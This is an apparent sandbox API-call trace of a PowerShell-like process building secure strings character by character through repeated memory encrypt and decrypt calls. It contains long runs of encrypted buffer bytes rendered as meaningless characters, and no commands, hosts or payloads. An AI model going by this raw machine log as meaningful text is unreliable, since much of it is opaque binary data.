(param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅㵑킭伀਺뜆ꞿ䩮⋎) returned 0x28 [0244.775] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.775] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4Ko⦯ޥﱪ") returned 0x28 [0244.775] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.775] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅ꍑ횅಩䥴ꥺ넣ᨢ쇆⋈) returned 0x28 [0244.775] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅ꍑ횅಩䥴ꥺ넣ᨢ쇆⋈) returned 0x28 [0244.775] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.775] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4KoAޥﱪ") returned 0x28 [0244.775] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.776] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅푑\궃\峜䂘㛟ꜳ∏) returned 0x28 [0244.776] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅푑\궃\峜䂘㛟ꜳ∏) returned 0x28 [0244.776] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.776] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4KoAwޥﱪ") returned 0x28 [0244.776] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.776] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅㕑㋡⼦뇍㡭儸珺ꔇ⋣) returned 0x28 [0244.776] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅㕑㋡⼦뇍㡭儸珺ꔇ⋣) returned 0x28 [0244.776] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.776] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4KoAwRﱪ") returned 0x28 [0244.776] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.776] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅ꉑﺅ躨䉧嶳㼱촒山≜) returned 0x28 [0244.776] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅ꉑﺅ躨䉧嶳㼱촒山≜) returned 0x28 [0244.776] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.777] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4KoAwRm") returned 0x28 [0244.777] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.777] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤⋧) returned 0x28 [0244.777] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤⋧) returned 0x28 [0244.777] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤⋧) returned 0x28 [0244.777] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤⋧) returned 0x30 [0244.777] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0244.778] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4KoAwRm3붮셔黿凇裫鞳⩮") returned 0x30 [0244.778] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0244.778] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤钌﬑넙饐敿䨀ꭸ⊙) returned 0x30 [0244.778] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤钌﬑넙饐敿䨀ꭸ⊙) returned 0x30 [0244.778] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0244.778] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4KoAwRm3n셔黿凇裫鞳⩮") returned 0x30 [0244.778] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0244.778] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤ꇧ됲쯠΄誅㞚룽襒⊙) returned 0x30 [0244.778] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤ꇧ됲쯠΄誅㞚룽襒⊙) returned 0x30 [0244.778] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0244.778] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4KoAwRm3nM黿凇裫鞳⩮") returned 0x30 [0244.778] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0244.779] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤뇧ᅽ⊐祕뵣㐛❄⊍) returned 0x30 [0244.779] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤뇧ᅽ⊐祕뵣㐛❄⊍) returned 0x30 [0244.779] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0244.779] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4KoAwRm3nM=凇裫鞳⩮") returned 0x30 [0244.779] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0244.779] EtwEventActivityIdControl () returned 0x0 [0244.779] EtwEventActivityIdControl () returned 0x0 [0244.779] EtwEventActivityIdControl () returned 0x0 [0244.780] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.780] EtwEventActivityIdControl () returned 0x0 [0244.780] EtwEventActivityIdControl () returned 0x0 [0244.780] EtwEventActivityIdControl () returned 0x0 [0244.781] SysStringLen (param_1="") returned 0x8 [0244.781] SysStringLen (param_1="N") returned 0x8 [0244.781] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.781] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.781] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.781] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.781] SysStringLen (param_1="ND") returned 0x8 [0244.781] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.781] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.781] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.781] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.781] SysStringLen (param_1="NDZ") returned 0x8 [0244.781] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.782] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.782] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.782] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.782] SysStringLen (param_1="NDZl") returned 0x8 [0244.782] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.782] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.782] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.782] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.782] SysStringLen (param_1="NDZlO") returned 0x8 [0244.782] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.782] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.782] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.782] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.783] SysStringLen (param_1="NDZlOD") returned 0x8 [0244.783] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.783] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.783] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.783] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.783] SysStringLen (param_1="NDZlODR") returned 0x8 [0244.783] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.783] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.783] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.783] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.783] SysStringLen (param_1="NDZlODRm") returned 0x8 [0244.783] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0244.784] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.784] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.784] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.784] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.801] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.801] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.801] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.801] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.801] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.801] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0244.801] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.801] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.801] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.801] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.802] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0244.802] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.802] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.802] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.802] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.802] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0244.802] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.802] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.802] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.802] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.802] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0244.802] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.802] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.803] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.803] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.803] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0244.803] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.803] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.803] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.803] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.803] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0244.803] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.803] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.804] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.804] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.804] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0244.804] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.804] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0244.804] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.804] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.805] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.805] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.805] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0244.805] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.805] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.805] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.805] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.805] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0244.805] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.805] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.805] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.805] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.805] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0244.805] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.806] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.806] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0244.806] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.806] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.806] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0244.806] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.806] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.807] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0244.807] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.807] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.807] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0244.807] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0244.808] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.808] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0244.808] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.808] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.808] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0244.808] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.808] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.809] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0244.809] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.809] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.809] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0244.809] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.809] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.809] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0244.809] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.810] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.810] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0244.810] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.810] SysStringLen 